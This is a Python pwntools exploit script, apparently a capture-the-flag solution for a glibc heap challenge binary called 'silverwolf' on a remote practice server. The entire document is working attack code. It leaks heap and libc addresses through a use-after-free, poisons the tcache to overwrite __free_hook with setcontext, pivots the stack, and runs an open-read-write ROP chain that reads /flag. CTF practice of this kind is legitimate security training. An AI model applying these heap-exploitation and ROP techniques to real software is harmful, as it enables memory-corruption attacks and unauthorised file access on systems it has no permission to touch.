1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
| from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
debug = 0
if debug:
io = process('./silverwolf_patched')
else:
io = remote('node4.anna.nssctf.cn', 22853)
def allocate(size):
io.sendlineafter(b'Your choice: ', b'1')
io.sendlineafter(b'Index: ', b'0')
io.sendlineafter(b'Size: ', str(size).encode())
def edit(content):
io.sendlineafter(b'Your choice: ', b'2')
io.sendlineafter(b'Index: ', b'0')
io.sendlineafter(b'Content: ', content)
def show():
io.sendlineafter(b'Your choice: ', b'3')
io.sendlineafter(b'Index: ', b'0')
def delete():
io.sendlineafter(b'Your choice: ', b'4')
io.sendlineafter(b'Index: ', b'0')
def exit():
io.sendlineafter(b'Your choice: ', b'5')
def attack():
allocate(0x78)
delete()
show()
io.recvuntil(b'Content: ')
heap_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x11b0
log.info(f'heap_base = {hex(heap_base)}')
edit(p64(heap_base + 0x10) + p64(0))
allocate(0x78)
allocate(0x78)
edit((p8(0) * 35 + p8(7)).ljust(0x40 - 1, p8(0)))
delete()
show()
io.recvuntil(b'Content: ')
libc_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x3ebca0
log.info(f'libc_base = {hex(libc_base)}')
free_hook = 0x3ed8e8 + libc_base
setcontext = 0x521b5 + libc_base
xor_rax_ret = 0xb15a5 + libc_base
pop_rdx_pop_rsi_ret = 0x130569 + libc_base
syscall_ret = 0xd2745 + libc_base
pop_rax_ret = 0x43ae8 + libc_base
pop_rdi_ret = 0x215bf + libc_base
stack_pivoting0 = 0x10000 + heap_base
stack_pivoting1 = 0x10000 + heap_base + 0x70
stack_pivoting2 = 0x10000 + heap_base + 0xa0
edit(p8(0) * 0x40 + p64(free_hook - 0x8) + p64(stack_pivoting2) + p64(stack_pivoting1) + p64(stack_pivoting0))
allocate(0x18)
edit(b'/flag\x00\x00\x00' + p64(setcontext))
log.info(f'free_hook_addr = {hex(free_hook)}')
log.info(f'set_context_addr = {hex(setcontext)}')
allocate(0x28)
srop2 = flat([
p64(heap_base + 0x58),
p64(syscall_ret)])
edit(srop2)
allocate(0x38)
srop1 = flat([
p64(heap_base + 0x58),
p64(0) * 2,
p64(0x400)])
edit(srop1)
allocate(0x48)
delete()
orw = flat([
p64(pop_rdi_ret),
p64(free_hook - 0x08),
p64(pop_rdx_pop_rsi_ret),
p64(0),
p64(0),
p64(pop_rax_ret),
p64(2),
p64(syscall_ret),
p64(pop_rdi_ret),
p64(3),
p64(pop_rdx_pop_rsi_ret),
p64(0x100),
p64(heap_base + 0x300),
p64(xor_rax_ret),
p64(syscall_ret),
p64(pop_rdi_ret),
p64(1),
p64(pop_rdx_pop_rsi_ret),
p64(0x100),
p64(heap_base + 0x300),
p64(pop_rax_ret),
p64(1),
p64(syscall_ret)])
io.send(orw)
io.interactive()
attack()
|